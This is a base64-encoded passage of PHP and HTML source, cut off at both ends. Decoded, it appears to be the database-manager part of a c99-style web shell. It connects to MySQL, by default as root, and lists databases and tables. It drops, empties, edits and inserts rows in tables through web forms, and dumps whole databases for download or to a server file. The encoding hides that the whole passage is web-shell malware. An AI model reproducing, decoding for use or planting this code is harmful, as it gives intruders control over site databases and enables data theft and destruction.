N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD0iOTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBib3JkZXI9MD48dHI+PHRkPiZuYnNwOzxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5hbWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+Jm5ic3A7PC90ZD48dGQ+PGI+RGF0YWJhc2U8L2I+Jm5ic3A7PC90ZD48L3RyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSJyb290IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQogZWxzZQogewogIGlmICghZW1wdHkoJHNxbF9kYikpCiAgewogICA/Pjx0ZCB3aWR0aD0iMjUlIiBoZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiI7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocAogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF90YWJsZXMoJHNxbF9kYik7CiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgZWxzZQogICB7CiAgICBlY2hvICItLS1bIDxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT4gXS0tLTxicj4iOwogICAgJGMgPSAwOwogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRjb3VudCk7IGVjaG8gIjxiPrsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9CiAgICBpZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlLiI7fQogICB9CiAgfQogIGVsc2UKICB7CiAgID8+PHRkIHdpZHRoPSIxIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNxbF9zdXJsOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHAKICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfZGJzKCRzcWxfc29jayk7CiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgZWxzZQogICB7CiAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2VsZWN0IG5hbWU9InNxbF9kYiI+PD9waHAKICAgICRjID0gMDsKICAgICRkYnMgPSAiIjsKICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPiI7CiAgICBlY2hvICRkYnM7CiAgIH0KICAgPz48L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/cGhwCiAgfQogIGVjaG8gIjwvdGQ+PHRkIHdpZHRoPVwiMTAwJVwiIGhlaWdodD1cIjFcIiB2YWxpZ249XCJ0b3BcIj4iOwogICRkaXBsYXkgPSBUUlVFOwogIGlmICgkc3FsX2RiKQogIHsKICAgaWYgKCFpc19udW1lcmljKCRjKSkgeyRjID0gMDt9CiAgIGlmICgkYyA9PSAwKSB7JGMgPSAibm8iO30KICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gdGhpcyBEQiAoIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiIpLjxicj4iOwogICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQogICBlY2hvICI8L2I+PC9jZW50ZXI+IjsKICAgJGFjdHMgPSBhcnJheSgiIiwiZHVtcCIpOwogICBpZiAoJHNxbF9hY3QgPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5IikgeyRzcWxfcXVlcnkgPSAiIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFIEZST00gYCIuJHYuImAgXG4iO30gJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX2FjdCA9ICJkdW1wIjt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZGVsZXRlcm93IikgeyRzcWxfcXVlcnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3FsX3F1ZXJ5ID0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2goJGJveHJvdyBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSk7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikKICAgewogICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKQogICAgewogICAgICRrZXlzID0gIiI7CiAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOwogICAgIGZvcmVhY2ggKCRha2V5cyBhcyAkdikgeyRrZXlzIC49ICJgIi5hZGRzbGFzaGVzKCR2KS4iYCwgIjt9CiAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQogICAgICR2YWx1ZXMgPSAiIjsKICAgICAkaSA9IDA7CiAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9CiAgICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9CiAgICAgJHNxbF9xdWVyeSA9ICJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiApIFZBTFVFUyAoICIuJHZhbHVlcy4iICk7IjsKICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7CiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7CiAgICB9CiAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKQogICAgewogICAgICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOwogICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOwogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICAgICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7CiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOwogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOwogICAgfQogICB9CiAgIGlmICgkc3FsX2FjdCA9PSAicXVlcnkiKQogICB7CiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30KICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX2FjdCA9ICRzcWxfZ290bzt9CiAgICBpZiAoKCEkc3VibWl0KSBvciAoJHNxbF9hY3QpKSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQogICB9CiAgIGlmIChpbl9hcnJheSgkc3FsX2FjdCwkYWN0cykpCiAgIHsKICAgID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48L3RyPjwvdGFibGU+PD9waHAKICAgIGlmICghZW1wdHkoJHNxbF9hY3QpKSB7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iO30KICAgIGlmICgkc3FsX2FjdCA9PSAibmV3dGJsIikKICAgIHsKICAgICBlY2hvICI8Yj4iOwogICAgIGlmICgobXlzcWxfY3JlYXRlX2RiICgkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKSB7ZWNobyAiREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiIGhhcyBiZWVuIGNyZWF0ZWQgd2l0aCBzdWNjZXNzITwvYj48YnI+IjsKICAgIH0KICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30KICAgfQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJkdW1wIikKICAgewogICAgaWYgKGVtcHR5KCRzdWJtaXQpKQogICAgewogICAgICRkaXBsYXkgPSBGQUxTRTsKICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjsKICAgICBlY2hvICI8Yj5EQjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYikuIlwiPjxicj48YnI+IjsKICAgICAkdiA9IGpvaW4gKCI7IiwkZG1wdGJscyk7CiAgICAgZWNobyAiPGI+T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUpLiJcIj48YnI+PGJyPiI7CiAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9CiAgICAgZWxzZSB7JHRtcCA9IGh0bWxzcGVjaWFsY2hhcnMoIi4vZHVtcF8iLmdldGVudigiU0VSVkVSX05BTUUiKS4iXyIuJHNxbF9kYi4iXyIuZGF0ZSgiZC1tLVktSC1pLXMiKS4iLnNxbCIpO30KICAgICBlY2hvICI8Yj5GaWxlOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2R1bXBfZmlsZVwiIHZhbHVlPVwiIi4kdG1wLiJcIiBzaXplPVwiIi4oc3RybGVuKCR0bXApK3N0cmxlbigkdG1wKSAlIDMwKS4iXCI+PGJyPjxicj4iOwogICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOwogICAgIGVjaG8gIjxiPlNhdmUgdG8gZmlsZTogPC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjsKICAgICBlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiOwogICAgIGVjaG8gIjwvZm9ybT4iOwogICAgfQogICAgZWxzZQogICAgewogICAgICRkaXBsYXkgPSBUUlVFOwogICAgICRzZXQgPSBhcnJheSgpOwogICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsKICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsKICAgICAkZHVtcF9vdXQgPSAiZG93bmxvYWQiOwogICAgICRzZXRbInByaW50Il0gPSAwOwogICAgICRzZXRbIm5sMmJyIl0gPSAwOwogICAgICRzZXRbIiJdID0gMDsKICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOwogICAgICRzZXRbImFkZF9kcm9wIl0gPSBUUlVFOwogICAgICRzZXRbIm9ubHl0YWJzIl0gPSBhcnJheSgpOwogICAgIGlmICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0YmxzKTt9CiAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7CiAgICAgaWYgKCRzcWxfZHVtcF9kb3dubG9hZCkKICAgICB7CiAgICAgIEBvYl9jbGVhbigpOwogICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICAgIGhlYWRlci